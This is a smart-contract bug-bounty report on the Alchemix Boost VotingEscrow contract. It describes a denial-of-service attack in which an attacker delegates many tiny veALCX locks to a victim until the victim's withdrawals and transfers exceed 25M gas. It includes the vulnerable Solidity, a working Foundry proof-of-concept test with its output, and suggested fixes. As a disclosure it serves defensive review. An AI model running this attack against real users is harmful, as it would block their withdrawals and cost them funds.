# 31413 - \[SC - Medium] DOS attack by delegating tokens at MAX\_DELEGATES Submitted on May 18th 2024 at 20:04:09 UTC by @savi0ur for [Boost | Alchemix](https://immunefi.com/bounty/alchemix-boost/) Report ID: #31413 Report type: Smart Contract Report severity: Medium Target: Impacts: * Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol) * Block stuffing ## Description ## Bug Description Any user can delegate the balance of the locked veALCX NFT token amount to anyone by calling `delegate()`. ```solidity function _moveAllDelegates(address owner, address src, address dst) internal { // You can only redelegate what you own if (src != dst) { if (src != address(0)) { // ...SNIP... } if (dst != address(0)) { uint32 dstCheckpoints = numCheckpoints[dst]; uint256[] memory dstTokensOld = dstCheckpoints > 0 ? checkpoints[dst][dstCheckpoints - 1].tokenIds : checkpoints[dst][0].tokenIds; uint256 ownerTokenCount = ownerToTokenCount[owner]; require(dstTokensOld.length + ownerTokenCount <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS // Create a new array of tokenIds, with the owner's tokens added uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + ownerTokenCount); // Copy array for (uint256 i = 0; i < dstTokensOld.length; i++) { dstTokensNew[i] = dstTokensOld[i]; } // Plus all that's owned for (uint256 i = 0; i < ownerTokenCount; i++) { uint256 tId = ownerToTokenIdList[owner][i]; dstTokensNew[dstTokensOld.length + i] = tId; } // Find the index of the checkpoint to create or update uint32 dstIndex = _findWhatCheckpointToWrite(dst); // dst has a new or updated checkpoint with the _tokenId added checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <== // Add to numCheckpoints if the last checkpoint is different from the current block timestamp if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) { numCheckpoints[dst] = dstCheckpoints + 1; } } } } ``` ```solidity function _moveTokenDelegates(address src, address dst, uint256 _tokenId) internal { if (src != dst && _tokenId > 0) { // If the source is not the zero address, we decrement the number of tokenIds if (src != address(0)) { // ...SNIP... } // If the destination is not the zero address, we increment the number of tokenIds if (dst != address(0)) { uint32 dstCheckpoints = numCheckpoints[dst]; uint256[] memory dstTokensOld = dstCheckpoints > 0 ? checkpoints[dst][dstCheckpoints - 1].tokenIds : checkpoints[dst][0].tokenIds; uint256[] memory dstTokensNew = new uint256[](dstTokensOld.length + 1); require(dstTokensOld.length + 1 <= MAX_DELEGATES, "dst would have too many tokenIds"); //@audit DoS // Copy array plus _tokenId for (uint256 i = 0; i < dstTokensOld.length; i++) { dstTokensNew[i] = dstTokensOld[i]; } dstTokensNew[dstTokensNew.length - 1] = _tokenId; // Find the index of the checkpoint to create or update uint32 dstIndex = _findWhatCheckpointToWrite(dst); // dst has a new or updated checkpoint with the _tokenId added checkpoints[dst][dstIndex] = Checkpoint({ timestamp: block.timestamp, tokenIds: dstTokensNew }); // <== // Add to numCheckpoints if the last checkpoint is different from the current block timestamp if (dstCheckpoints == 0 || checkpoints[dst][dstCheckpoints - 1].timestamp != block.timestamp) { numCheckpoints[dst] = dstCheckpoints + 1; } } } } ``` As the delegated tokens are maintained in an array that's vulnerable to DOS attack, the `VotingEscrow` contract has a safety check of `MAX_DELEGATES = 1024` preventing an address from having a huge array. ```solidity /// @notice Maximum number of delegates a token can have uint256 public constant MAX_DELEGATES = 1024; // avoid too much gas ``` Given the current implementation, any user with 1024 delegated tokens takes more than 25M gas to `transfer/delegate/burn/mint` a token as shown in PoC. It will consume a lot of gas as its using function like `_moveTokenDelegates()` and `_moveAllDelegates()`, which are vulnerable to DoS attack when `MAX_DELEGATES` limit is reached for delegated tokens. However, the current gas limit of the ETH chain is 30M. (ref: [Etherscan](https://etherscan.io/block/19881987)). This functions(`_moveTokenDelegates()` and `_moveAllDelegates()`) from `VotingEscrow` are called in following functions, which makes them vulnerable to DoS. * `delegate()` * `safeTransferFrom()` * `transferFrom()` * `merge()` * `withdraw()` As we can see in a PoC for a single withdrawal tx, its very expensive for a user as it cost more than 25M gas for a victim. Current cost of the tx for around 25M gas is around $1000, calculated as follow: ``` TxCostInUSD = 25e6(gasConsumed) * 14e9(CurrentCostInGWEI) / 1e18 * 3116.44(ETHPriceInUSD) = 1090.754 USD ``` This cost will be even higher when block space in high demand as base fee will increase and also users are willing to offer extra to get a place for their tx in block space. Tool to find real time gas cost for 25M gas cost: Also it will be difficult for a user to get a space in a block space when their tx is consuming almost a gas limit of a block (30M). User's tx will get rejected by builder as its not providing any incentive (apart from tx cost) for a builder to include their tx in a block during high demand of a block space. If someone trying to attack a victim's address by creating a new address, a new lock, and delegating to the victim. By the time the attacker hit the gas limit, the victim can not withdraw/transfer/delegate transaction in a high demand of a block space. ## Impact Due to the mentioned attack, multiple users wont be able to withdraw their tokens in the same block space as there is a gas limit of 30M on ethereum for a transaction. Users tx could land when there is less traffic on ethereum, but attacker could do block stuffing for just a 5-6 million gas for the same block to grief user's withdraw transaction. ## Recommendation Adjust the `MAX_DELEGATES` from 1024 to 128 Or Give an option for users to opt-out/opt-in for a certain delegated tokens. Users will only accept the delegated tokens if they opt-in, or users can opt-out to refuse any uncommissioned delegated tokens. ## References * * ## Proof Of Concept **Steps to Run using Foundry:** * Paste following foundry code in `src/test/VotingEscrow.t.sol` * Run using `FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv` ```solidity function testDelegateLimitAttack() public { // Give some tokens to this contract hevm.startPrank(address(admin)); IERC20(bpt).transfer(address(this), TOKEN_1M); hevm.stopPrank(); // Give full approval to voting escrow IERC20(bpt).approve(address(veALCX), type(uint256).max); uint EPOCH = veALCX.EPOCH(); uint tokenId = veALCX.createLock(TOKEN_1, EPOCH, false); for(uint256 i = 0; i < veALCX.MAX_DELEGATES() - 1; i++) { hevm.roll(block.number + 1); hevm.warp(block.timestamp + 12); address fakeAccount = address(uint160(block.timestamp + i)); IERC20(bpt).transfer(fakeAccount, 1); hevm.startPrank(fakeAccount); IERC20(bpt).approve(address(veALCX), type(uint256).max); veALCX.createLock(1, MAXTIME, true); veALCX.delegate(address(this)); hevm.stopPrank(); } hevm.roll(block.number + 1); hevm.warp(block.timestamp + EPOCH); veALCX.startCooldown(tokenId); hevm.roll(block.number + 1); hevm.warp(block.timestamp + EPOCH); uint initialGas = gasleft(); veALCX.withdraw(tokenId); uint gasUsed = initialGas - gasleft(); console.log("Gas Used in total: ", gasUsed); assertGt(gasUsed, 25_000_000); } ``` **Console Output:** ```shell > FOUNDRY_PROFILE=default forge test --fork-url $FORK_URL --fork-block-number 17133822 --match-contract VotingEscrowTest --match-test testDelegateLimitAttack -vv [⠊] Compiling... No files changed, compilation skipped Ran 1 test for src/test/VotingEscrow.t.sol:VotingEscrowTest [PASS] testDelegateLimitAttack() (gas: 12532053553) Logs: Gas Used in total: 25795537 ```